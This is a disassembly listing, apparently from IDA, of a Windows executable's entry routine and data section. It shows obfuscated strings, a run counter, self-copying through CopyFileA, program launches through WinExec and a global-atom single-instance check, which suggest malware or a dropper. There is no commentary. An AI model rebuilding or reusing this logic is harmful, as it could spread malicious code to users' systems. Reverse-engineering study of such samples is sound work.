var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_A8		= qword	ptr -0A8h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebp
		mov	ebp, esp
		mov	ecx, 41h

loc_41A9AC:				; CODE XREF: start+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_41A9AC
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_41A8D4
		call	sub_405A80
		mov	esi, offset dword_41EF10
		xor	eax, eax
		push	ebp
		push	offset loc_41B4DD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		push	ebp
		push	offset loc_41B48E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	20h
		call	j_GetCurrentProcess
		push	eax
		call	j_SetPriorityClass
		push	0FFFFFFFFh
		call	j_GetCurrentThread
		push	eax
		call	j_SetThreadPriority
		call	sub_41A7EC
		lea	ecx, [ebp+var_10]
		xor	edx, edx
		mov	eax, offset aIbzimtfzrfZytb ; "ibZimTfZrf}┤Yt│"
		call	sub_415FAC
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_41EEFC
		call	sub_40351C
		push	0
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_41B50C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_14]
		mov	edx, esi
		call	sub_402978
		mov	[esi], eax
		inc	dword ptr [esi]
		lea	edx, [ebp+var_114]
		mov	eax, [esi]
		call	sub_40296C
		lea	edx, [ebp+var_114]
		mov	eax, offset dword_41EED8
		call	sub_4036EC
		push	1
		push	1
		lea	eax, [ebp+var_118]
		push	eax
		mov	ecx, ds:dword_41EED8
		mov	edx, offset dword_41B50C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	edx, offset dword_41EED8
		xor	eax, eax
		call	sub_402768
		lea	ecx, [ebp+var_11C]
		xor	edx, edx
		mov	eax, offset aIMJMdtpkOVuKVk ; "⌡Є╛╩©і╦╛є▓╞╙╨Є╧Іў╧╒·╠Ё╙І©╦╒┼ҐЇ╦╛І╧°╛╨╦╞"...
		call	sub_415FAC
		mov	edx, [ebp+var_11C]
		mov	eax, offset dword_41EEEC
		call	sub_40351C
		push	0
		push	0
		lea	eax, [ebp+var_120]
		push	eax
		lea	ecx, [ebp+var_124]
		xor	edx, edx
		mov	eax, offset dword_41B564
		call	sub_415FAC
		mov	edx, [ebp+var_124]
		xor	ecx, ecx
		mov	eax, ds:dword_41EEEC
		call	sub_415EAC
		mov	edx, [ebp+var_120]
		mov	eax, offset dword_41EEE0
		call	sub_40351C
		push	0
		push	0
		lea	eax, [ebp+var_128]
		push	eax
		lea	ecx, [ebp+var_12C]
		xor	edx, edx
		mov	eax, offset dword_41B578
		call	sub_415FAC
		mov	edx, [ebp+var_12C]
		xor	ecx, ecx
		mov	eax, ds:dword_41EEEC
		call	sub_415EAC
		mov	edx, [ebp+var_128]
		mov	eax, offset dword_41EEE4
		call	sub_40351C
		lea	edx, [ebp+var_130]
		mov	eax, 1
		call	sub_41609C
		mov	edx, [ebp+var_130]
		mov	eax, offset dword_41EEF8
		call	sub_40351C
		lea	edx, [ebp+var_134]
		mov	eax, 2
		call	sub_41609C
		mov	edx, [ebp+var_134]
		mov	eax, offset dword_41EEE8
		call	sub_40351C
		lea	ecx, [ebp+var_138]
		xor	edx, edx
		mov	eax, offset dword_41B588
		call	sub_415FAC
		mov	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_13C]
		mov	edx, ds:dword_41EEE8
		mov	dl, [edx]
		call	sub_403670
		mov	edx, [ebp+var_13C]
		mov	eax, offset dword_41EEF0
		pop	ecx
		call	sub_403770
		lea	edx, [ebp+var_148]
		mov	eax, ds:dword_41EED8
		call	sub_4073EC
		mov	eax, [ebp+var_148]
		lea	edx, [ebp+var_144]
		call	sub_406D90
		mov	eax, [ebp+var_144]
		lea	ecx, [ebp+var_140]
		xor	edx, edx
		call	sub_407324
		mov	edx, [ebp+var_140]
		mov	eax, offset dword_41EF08
		call	sub_40351C
		push	1
		push	1
		lea	eax, [ebp+var_14C]
		push	eax
		mov	ecx, ds:dword_41EF08
		mov	edx, offset dword_41B59C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_150]
		push	eax
		mov	ecx, offset dword_41B5A8
		mov	edx, offset dword_41B5B8
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	ecx, [ebp+var_154]
		mov	edx, 1
		mov	eax, ds:dword_41EF08
		call	sub_415FAC
		mov	edx, [ebp+var_154]
		mov	eax, offset dword_41EF00
		call	sub_40351C
		mov	ds:byte_41EF20,	0
		xor	ebx, ebx
		mov	ds:byte_41EF21,	0
		mov	eax, ds:dword_41EF00
		mov	edx, offset dword_41B5C4
		call	sub_403834
		jz	short loc_41AC99
		mov	eax, ds:dword_41EF00
		mov	edx, offset dword_41B5D4
		call	sub_403834
		jz	short loc_41AC99
		mov	eax, ds:dword_41EF00
		mov	edx, offset dword_41B5E4
		call	sub_403834
		jnz	loc_41AF55

loc_41AC99:				; CODE XREF: start+2CDj start+2DEj
		lea	edx, [ebp+var_160]
		mov	eax, 1
		call	sub_402768
		push	[ebp+var_160]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_164]
		mov	eax, 2
		call	sub_402768
		push	[ebp+var_164]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_168]
		mov	eax, 3
		call	sub_402768
		push	[ebp+var_168]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_16C]
		mov	eax, 4
		call	sub_402768
		push	[ebp+var_16C]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_170]
		mov	eax, 5
		call	sub_402768
		push	[ebp+var_170]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_174]
		mov	eax, 6
		call	sub_402768
		push	[ebp+var_174]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_178]
		mov	eax, 7
		call	sub_402768
		push	[ebp+var_178]
		push	offset dword_41B5F8
		lea	edx, [ebp+var_17C]
		mov	eax, 8
		call	sub_402768
		push	[ebp+var_17C]
		lea	eax, [ebp+var_15C]
		mov	edx, 0Fh
		call	sub_4037E4
		mov	eax, [ebp+var_15C]
		lea	edx, [ebp+var_158]
		call	sub_406E9C
		mov	edx, [ebp+var_158]
		mov	eax, offset dword_41EF04
		call	sub_40351C
		push	ds:dword_41EEF8
		push	offset dword_41B604
		lea	ecx, [ebp+var_180]
		xor	edx, edx
		mov	eax, offset dword_41B610
		call	sub_415FAC
		push	[ebp+var_180]
		mov	eax, offset dword_41EEF4
		mov	edx, 3
		call	sub_4037E4
		mov	eax, ds:dword_41EF00
		mov	edx, offset dword_41B5E4
		call	sub_403834
		jnz	short loc_41AE14
		push	1
		push	ds:dword_41EEF4
		push	offset dword_41B5F8
		push	ds:dword_41EF04
		lea	eax, [ebp+var_184]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_184]
		call	sub_4038E8
		push	eax
		call	j_WinExec

loc_41AE14:				; CODE XREF: start+43Aj
		mov	eax, ds:dword_41EF00
		mov	edx, offset dword_41B5C4
		call	sub_403834
		jnz	loc_41B0C3
		push	ds:dword_41EEF0
		push	offset dword_41B604
		push	ds:dword_41EF08
		mov	eax, offset dword_41EF00
		mov	edx, 3
		call	sub_4037E4
		lea	edx, [ebp+var_188]
		mov	eax, ds:dword_41EEE4
		call	sub_406D90
		lea	eax, [ebp+var_188]
		mov	edx, offset dword_41B604
		call	sub_40372C
		mov	eax, [ebp+var_188]
		push	eax
		lea	edx, [ebp+var_194]
		mov	eax, 1
		call	sub_402768
		mov	eax, [ebp+var_194]
		lea	edx, [ebp+var_190]
		call	sub_4073B8
		mov	eax, [ebp+var_190]
		lea	edx, [ebp+var_18C]
		call	sub_406D90
		mov	edx, [ebp+var_18C]
		pop	eax
		call	sub_403834
		jnz	loc_41AF3E
		mov	eax, ds:dword_41EF00
		push	eax
		lea	edx, [ebp+var_198]
		mov	eax, 5Ah
		call	sub_41A77C
		mov	eax, [ebp+var_198]
		push	eax
		lea	edx, [ebp+var_19C]
		mov	eax, 5Ah
		call	sub_41A77C
		mov	eax, [ebp+var_19C]
		push	eax
		push	1
		lea	edx, [ebp+var_1A0]
		mov	eax, 1
		call	sub_402768
		mov	edx, [ebp+var_1A0]
		xor	ecx, ecx
		mov	eax, ds:dword_41EED8
		call	sub_4171C0
		test	al, al
		jz	short loc_41AF3E
		push	0
		lea	edx, [ebp+var_1A4]
		mov	eax, 1
		call	sub_402768
		mov	eax, [ebp+var_1A4]
		call	sub_4038E8
		push	eax
		mov	eax, ds:dword_41EF00
		call	sub_4038E8
		push	eax
		call	j_CopyFileA

loc_41AF3E:				; CODE XREF: start+50Aj start+56Aj
		push	1
		mov	eax, ds:dword_41EF04
		call	sub_4038E8
		push	eax
		call	j_WinExec
		jmp	loc_41B0C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41AF55:				; CODE XREF: start+2EFj
		lea	eax, [ebp+var_1A8]
		push	eax
		mov	ecx, 2
		mov	edx, offset dword_41B624
		mov	eax, ds:dword_41EED8
		call	sub_416A1C
		mov	eax, [ebp+var_1A8]
		mov	edx, offset dword_41B630
		call	sub_403834
		jnz	loc_41B0BC
		lea	eax, [ebp+var_1AC]
		push	eax
		mov	ecx, 8
		mov	edx, offset dword_41B63C
		mov	eax, ds:dword_41EED8
		call	sub_416A1C
		mov	eax, [ebp+var_1AC]
		mov	edx, offset dword_41EF0C
		call	sub_402978
		mov	ds:dword_41EF0C, eax
		mov	edx, ds:dword_41EF0C
		mov	eax, ds:dword_41EED8
		call	sub_416C54
		push	offset dword_41B640
		call	j_GlobalFindAtomA
		test	ax, ax
		jnz	loc_41B0B3
		lea	ecx, [ebp+var_1B0]
		xor	edx, edx
		mov	eax, offset dword_41B650
		call	sub_415FAC
		mov	edx, [ebp+var_1B0]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		lea	eax, [ebp+var_1B4]
		mov	ecx, ds:dword_41EEF4
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		mov	eax, [ebp+var_1B4]
		call	sub_4071A8
		test	al, al
		jnz	short loc_41B09D
		mov	eax, ds:dword_41EEF4
		push	eax
		push	offset dword_41B664
		lea	edx, [ebp+var_1B8]
		mov	eax, 5Ah
		call	sub_41A77C
		mov	eax, [ebp+var_1B8]
		push	eax
		lea	edx, [ebp+var_1BC]
		mov	eax, 5Ah
		call	sub_41A77C
		mov	eax, [ebp+var_1BC]
		push	eax
		mov	eax, ds:dword_41EF0C
		push	eax
		push	0
		push	0
		mov	ecx, ds:dword_41EEF0
		xor	edx, edx
		mov	eax, ds:dword_41EED8
		call	sub_416478
		lea	eax, [ebp+var_1C0]
		mov	ecx, ds:dword_41EEF4
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		mov	eax, [ebp+var_1C0]
		mov	edx, 2
		call	sub_4071B8

loc_41B09D:				; CODE XREF: start+67Bj
		mov	eax, offset dword_41EED8
		mov	ecx, ds:dword_41EEF4
		mov	edx, ds:dword_41EEF0
		call	sub_403770

loc_41B0B3:				; CODE XREF: start+62Fj
		mov	ds:byte_41EF21,	1
		jmp	short loc_41B0C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41B0BC:				; CODE XREF: start+5DCj
		mov	ds:byte_41EF20,	1

loc_41B0C3:				; CODE XREF: start+47Fj start+5ACj ...
		mov	eax, ds:dword_41EED8
		call	sub_418880
		cmp	dword ptr [esi], 1F40h
		jle	short loc_41B0D7
		mov	bl, 1

loc_41B0D7:				; CODE XREF: start+72Fj
		push	offset dword_41B640
		call	j_GlobalFindAtomA
		test	ax, ax
		setz	al
		or	al, bl
		jnz	short loc_41B0F8
		cmp	ds:byte_41EF20,	0
		jz	loc_41B484

loc_41B0F8:				; CODE XREF: start+745j
		cmp	ds:byte_41EF21,	0
		jnz	loc_41B484
		push	offset dword_41B640
		call	j_GlobalAddAtomA
		push	1
		push	1
		lea	eax, [ebp+var_1C4]
		push	eax
		mov	ecx, offset dword_41B670
		mov	edx, offset dword_41B67C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_1C8]
		push	eax
		mov	ecx, offset dword_41B688
		mov	edx, offset dword_41B694
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	0
		push	1
		lea	eax, [ebp+var_1CC]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_41B50C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_1CC]
		mov	edx, esi
		call	sub_402978
		mov	[esi], eax
		call	sub_408090
		add	esp, 0FFFFFFF8h
		fstp	[esp+0A8h+var_A8]
		wait
		lea	eax, [ebp+var_1D0]
		call	sub_408C78
		mov	edx, [ebp+var_1D0]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		lea	eax, [ebp+var_1D4]
		mov	edx, ds:dword_41EEF4
		mov	dl, [edx]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_1D4]
		lea	eax, [ebp+var_1D8]
		call	sub_402848
		lea	eax, [ebp+var_1DC]
		mov	edx, ds:dword_41EEF4
		mov	dl, [edx+1]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_1DC]
		lea	eax, [ebp+var_1D8]
		mov	cl, 2
		call	sub_402818
		lea	eax, [ebp+var_1D8]
		mov	edx, offset dword_41B698
		xor	ecx, ecx
		mov	cl, [eax]
		inc	ecx
		call	sub_402864
		jnz	short loc_41B27E
		lea	eax, [ebp+var_1DC]
		mov	edx, ds:dword_41EEF4
		mov	dl, [edx+3]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_1DC]
		lea	eax, [ebp+var_1E0]
		call	sub_402848
		lea	eax, [ebp+var_1E4]
		mov	edx, ds:dword_41EEF4
		mov	dl, [edx+4]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_1E4]
		lea	eax, [ebp+var_1E0]
		mov	cl, 2
		call	sub_402818
		lea	eax, [ebp+var_1E0]
		mov	edx, offset dword_41B69C
		xor	ecx, ecx
		mov	cl, [eax]
		inc	ecx
		call	sub_402864
		jnz	short loc_41B27E
		mov	eax, 14h
		call	sub_4028F4
		cmp	eax, 8
		jnz	short loc_41B27E
		mov	ds:byte_41EF20,	1

loc_41B27E:				; CODE XREF: start+85Dj start+8C2j ...
		cmp	ds:byte_41EF20,	0
		jz	loc_41B316
		push	1
		push	1
		lea	eax, [ebp+var_1E8]
		push	eax
		mov	ecx, offset dword_41B670
		mov	edx, offset dword_41B6A8
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	ds:dword_41EF14, eax
		push	1
		lea	ecx, [ebp+var_1EC]
		xor	edx, edx
		mov	eax, offset dword_41B6B4
		call	sub_415FAC
		mov	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_1F0]
		mov	edx, ds:dword_41EEF8
		mov	dl, [edx]
		call	sub_403670
		lea	eax, [ebp+var_1F0]
		mov	edx, offset dword_41B6C0
		call	sub_40372C
		mov	eax, [ebp+var_1F0]
		mov	ecx, offset dword_41EF14
		pop	edx
		call	sub_417928
		mov	eax, ds:dword_41EF14
		call	sub_402BDC
		mov	bl, 1

loc_41B316:				; CODE XREF: start+8E1j
		test	bl, bl
		jz	loc_41B456
		push	0
		push	1
		lea	eax, [ebp+var_1F4]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFc41 ; "FC41"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		cmp	[ebp+var_1F4], 0
		jnz	loc_41B456
		mov	eax, 32h
		call	sub_4028F4
		cmp	eax, 8
		jnz	loc_41B456
		push	1
		push	1
		lea	eax, [ebp+var_1F8]
		push	eax
		mov	ecx, offset dword_41B624
		mov	edx, offset dword_41B6A8
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		cmp	ds:byte_41EF20,	0
		jz	short loc_41B38A
		mov	dword ptr [esi], 3
		jmp	short loc_41B390
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41B38A:				; CODE XREF: start+9DCj
		mov	dword ptr [esi], 1

loc_41B390:				; CODE XREF: start+9E4j
		mov	eax, 2
		call	sub_4028F4
		dec	eax
		jnz	short loc_41B3AE
		mov	eax, offset dword_41EEF4
		mov	edx, offset aLacbsoiobqOucO ; "▀─≈║s▌⌡▌b÷~▌u√°▌~°q▌┌ ▐▌s╒≈┐╙▓}▌}√▒w▐z⌠"...
		call	sub_40351C
		jmp	short loc_41B3BD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41B3AE:				; CODE XREF: start+9F7j
		mov	eax, offset dword_41EEF4
		mov	edx, offset dword_41B710
		call	sub_40351C

loc_41B3BD:				; CODE XREF: start+A08j
		mov	eax, [esi]
		cdq
		push	edx
		push	eax
		push	0
		push	3
		xor	eax, eax
		call	sub_407500
		call	sub_4055D6
		call	sub_405590
		push	edx
		push	eax
		lea	ecx, [ebp+var_1FC]
		xor	edx, edx
		mov	eax, ds:dword_41EEF4
		call	sub_415FAC
		lea	eax, [ebp+var_1FC]
		mov	edx, offset dword_41B5F8
		call	sub_40372C
		mov	eax, [ebp+var_1FC]
		push	eax
		lea	ecx, [ebp+var_204]
		xor	edx, edx
		mov	eax, offset dword_41B774
		call	sub_415FAC
		mov	ecx, [ebp+var_204]
		lea	eax, [ebp+var_200]
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		mov	eax, [ebp+var_200]
		pop	edx
		call	sub_418C48
		push	1
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		mov	ecx, offset dword_41B670
		mov	edx, offset aFc41 ; "FC41"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC

loc_41B456:				; CODE XREF: start+974j start+99Dj ...
		call	sub_41A5E4
		mov	eax, offset dword_41B788
		call	sub_418DC8
		push	1
		push	1
		lea	eax, [ebp+var_20C]
		push	eax
		mov	ecx, offset dword_41B688
		mov	edx, offset dword_41B67C
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC

loc_41B484:				; CODE XREF: start+74Ej start+75Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_41B4A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41B48E:				; DATA XREF: start+33o
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, offset dword_41B788
		call	sub_418DC8
		call	sub_403008

loc_41B4A2:				; CODE XREF: start+AE8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset dword_41B4E4

loc_41B4AF:				; CODE XREF: CODE:0041B4E2j
		lea	eax, [ebp+var_20C]
		mov	edx, 0Ah
		call	sub_4034EC
		lea	eax, [ebp+var_1D0]
		mov	edx, 2Fh
		call	sub_4034EC
		lea	eax, [ebp+var_14]
		mov	edx, 2
		call	sub_4034EC
		retn
start		endp ; sp = -0D8h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41B4DD:				; DATA XREF: start+25o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41B4AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_41B4E4	dd 0E85B5E5Fh, 0FFFE7EA4h, 0FFFFFFFFh, 0Fh ; DATA XREF:	start+B06o
aIbzimtfzrfZytb	db 'ibZimTfZrf}┤Yt│',0  ; DATA XREF: start+62o
		dd 0FFFFFFFFh, 3
dword_41B50C	dd 304346h, 0FFFFFFFFh,	41h ; DATA XREF: start+83o start+CEo ...
aIMJMdtpkOVuKVk	db '⌡Є╛╩©і╦╛є▓╞╙╨Є╧Іў╧╒·╠Ё╙І©╦╒┼ҐЇ╦╛І╧°╛╨╦╞ІІ║▀©╦╠╣╧ґЇ╒ ╟╙╡Ёh▀╣Ё'
					; DATA XREF: start+F1o
		db '╛╙╦╨є',0
		align 4
		dd 0FFFFFFFFh, 8
dword_41B564	dd 817F715Fh, 7A6E7A7Eh, 0, 0FFFFFFFFh,	7 ; DATA XREF: start+11Eo
dword_41B578	dd 787F7052h, 7C7A82h, 0FFFFFFFFh, 0Ah ; DATA XREF: start+15Do
dword_41B588	dd 75816A4Bh, 7C728774h, 7276h,	0FFFFFFFFh, 3 ;	DATA XREF: start+1D1o
dword_41B59C	dd 314446h, 0FFFFFFFFh,	4 ; DATA XREF: start+25Bo
dword_41B5A8	dd 38382E31h, 0, 0FFFFFFFFh, 3 ; DATA XREF: start+275o
dword_41B5B8	dd 314346h, 0FFFFFFFFh,	6 ; DATA XREF: start+27Ao
dword_41B5C4	dd 6F7D7380h, 3C40h, 0FFFFFFFFh, 6 ; DATA XREF:	start+2C3o
					; start+475o
dword_41B5D4	dd 796C6D80h, 3C40h, 0FFFFFFFFh, 8 ; DATA XREF:	start+2D4o
dword_41B5E4	dd 727B8181h, 4040787Bh, 0, 0FFFFFFFFh,	1 ; DATA XREF: start+2E5o
					; start+430o
dword_41B5F8	dd 20h,	0FFFFFFFFh, 1	; DATA XREF: start+30Bo start+326o ...
dword_41B604	dd 5Ch,	0FFFFFFFFh, 9	; DATA XREF: start+3FFo start+48Bo ...
dword_41B610	dd 427C8282h, 87733B42h, 75h, 0FFFFFFFFh, 1 ; DATA XREF: start+40Co
dword_41B624	dd 32h,	0FFFFFFFFh, 2	; DATA XREF: start+5BDo start+9C1o
dword_41B630	dd 6373h, 0FFFFFFFFh, 1	; DATA XREF: start+5D2o
dword_41B63C	dd 38h			; DATA XREF: start+5EEo
dword_41B640	dd 4F7D7360h, 776Eh, 0FFFFFFFFh, 0Bh ; DATA XREF: start+622o
					; start+733o ...
dword_41B650	dd 8379626Eh, 3F424255h, 758777h, 0FFFFFFFFh, 2	; DATA XREF: start+63Do
dword_41B664	dd 2020h, 0FFFFFFFFh, 1	; DATA XREF: start+683o
dword_41B670	dd 31h,	0FFFFFFFFh, 3	; DATA XREF: start+776o start+8F2o ...
dword_41B67C	dd 324446h, 0FFFFFFFFh,	1 ; DATA XREF: start+77Bo start+AD1o
dword_41B688	dd 30h,	0FFFFFFFFh, 3	; DATA XREF: start+795o start+ACCo
dword_41B694	dd 394346h		; DATA XREF: start+79Ao
dword_41B698	dd 363102h		; DATA XREF: start+84Eo
dword_41B69C	dd 303102h, 0FFFFFFFFh,	3 ; DATA XREF: start+8B3o
dword_41B6A8	dd 334446h, 0FFFFFFFFh,	3 ; DATA XREF: start+8F7o start+9C6o
dword_41B6B4	dd 323534h, 0FFFFFFFFh,	2 ; DATA XREF: start+921o
dword_41B6C0	dd 5C3Ah, 0FFFFFFFFh, 4	; DATA XREF: start+94Bo
aFc41		db 'FC41',0             ; DATA XREF: start+987o start+AA3o
		align 4
		dd 0FFFFFFFFh, 29h
aLacbsoiobqOucO	db '▀─≈║s▌⌡▌b÷~▌u√°▌~°q▌┌ ▐▌s╒≈┐╙▓}▌}√▒w▐z⌠┤█',0 ; DATA XREF: start+9FEo
		align 4
		dd 0FFFFFFFFh, 59h
dword_41B710	dd 0D1C7B0BBh, 7FCBBEA3h, 0D2D0C2B6h, 7FCCCCC9h, 7F8E8B91h
					; DATA XREF: start+A0Fo
		dd 0D8CECCA3h, 0C7C5C6D2h, 7F077DD4h, 908E8D92h, 0AFD08F80h
		dd 0C0AB7D80h, 0C87EC2C4h, 7F8D7DCEh, 0C7C1C2A8h, 0CDC37DCFh
		dd 0A27E8A80h, 0D9D2C6D5h, 7F8ACCC5h, 0C7C1C6ADh, 0C0C1BECFh
		dd 0C4AB7DCEh, 0CEC1C6D8h, 0BDh, 0FFFFFFFFh, 0Bh
dword_41B774	dd 8379626Eh, 3F7D7055h, 838865h, 0FFFFFFFFh, 6	; DATA XREF: start+A66o
dword_41B788	dd 4F7D7360h, 776Eh, 1Ch dup(0)	; DATA XREF: start+AB7o
					; start+AEFo
CODE		ends

; Section 2. (virtual address 0001C000)
; Virtual size			: 00001C94 (   7316.)
; Section size in file		: 00001E00 (   7680.)
; Offset to raw	data for section: 0001AC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: 16 bytes ?
; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 41C000h
word_41C000	dw 1332h		; DATA XREF: sub_402A88+6r
					; sub_402A88+78r ...
		db  8Bh	; ▀
		db 0C0h	; ю
unk_41C004	db    2	;		; DATA XREF: DATA:0041DC34o
		db    0	;  
		db  8Bh	; ▀
		db 0C0h	; ю
byte_41C008	db 0			; DATA XREF: sub_402D4Cr sub_402D68r ...
		db  8Dh	; █
		db  40h	; @
		db    0	;  
byte_41C00C	db 0			; DATA XREF: CODE:00402E86r
					; CODE:00402EC1r
		db  8Dh	; █
		db  40h	; @
		db    0	;  
byte_41C010	db 0			; DATA XREF: sub_403390+5Cr
		db  8Dh	; █
		db  40h	; @
		db    0	;  
dword_41C014	dd 0			; DATA XREF: sub_404638r sub_404B00r ...
dword_41C018	dd 0			; DATA XREF: CODE:00404A31r
					; CODE:00404A3Cw ...
off_41C01C	dd offset sub_401FD8	; DATA XREF: sub_402598+4r
					; sub_4025C8+3Fr
off_41C020	dd offset sub_402160	; DATA XREF: sub_4025B0+4r
					; sub_4025C8+26r
off_41C024	dd offset sub_4024D4	; DATA XREF: sub_4025C8+Dr
unk_41C028	db  52h	; R		; DATA XREF: sub_403390+46o
					; sub_403390+6Co
		db  75h	; u
		db  6Eh	; n
		db  74h	; t
		db  69h	; i
		db  6Dh	; m
		db  65h	; e
		db  20h	;  
		db  65h	; e
		db  72h	; r
		db  72h	; r
		db  6Fh	; o
		db  72h	; r
		db  20h	;  
		db  20h	;  
		db  20h	;  
aAt00000000	db '  at 00000000',0    ; DATA XREF: sub_40330C+7o
					; sub_40330C+33o
		db  8Bh	; ▀
		db 0C0h	; ю
aError		db 'Error',0            ; DATA XREF: sub_403390+67o
		db  8Bh	; ▀
		db 0C0h	; ю
unk_41C050	db  30h	; 0		; DATA XREF: sub_40330C+3Dr
		db  31h	; 1
		db  32h	; 2
		db  33h	; 3
		db  34h	; 4
		db  35h	; 5
		db  36h	; 6
		db  37h	; 7
		db  38h	; 8
		db  39h	; 9
		db  41h	; A
		db  42h	; B
		db  43h	; C
		db  44h	; D
		db  45h	; E
		db  46h	; F
unk_41C060	db  20h	;		; DATA XREF: sub_4051AF+2o
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  20h	;  
asc_41C0A0	db 0Dh,0Ah		; DATA XREF: sub_40520Fo
					; sub_405A34+39o ...
		db '▀ю',0
		align 4
dword_41C0A8	dd 0			; DATA XREF: sub_405A34+2Fr
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_41C0B4	dd 0			; DATA XREF: sub_405A34+25w
					; sub_405A34+34w
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C0BC	db    0	;		; DATA XREF: sub_40B194+11Eo
		db    0	;  
		db    0	;  
		db    0	;  
dword_41C0C0	dd 0			; DATA XREF: sub_409C44+1Bw
dword_41C0C4	dd 0			; DATA XREF: sub_409C44+24w
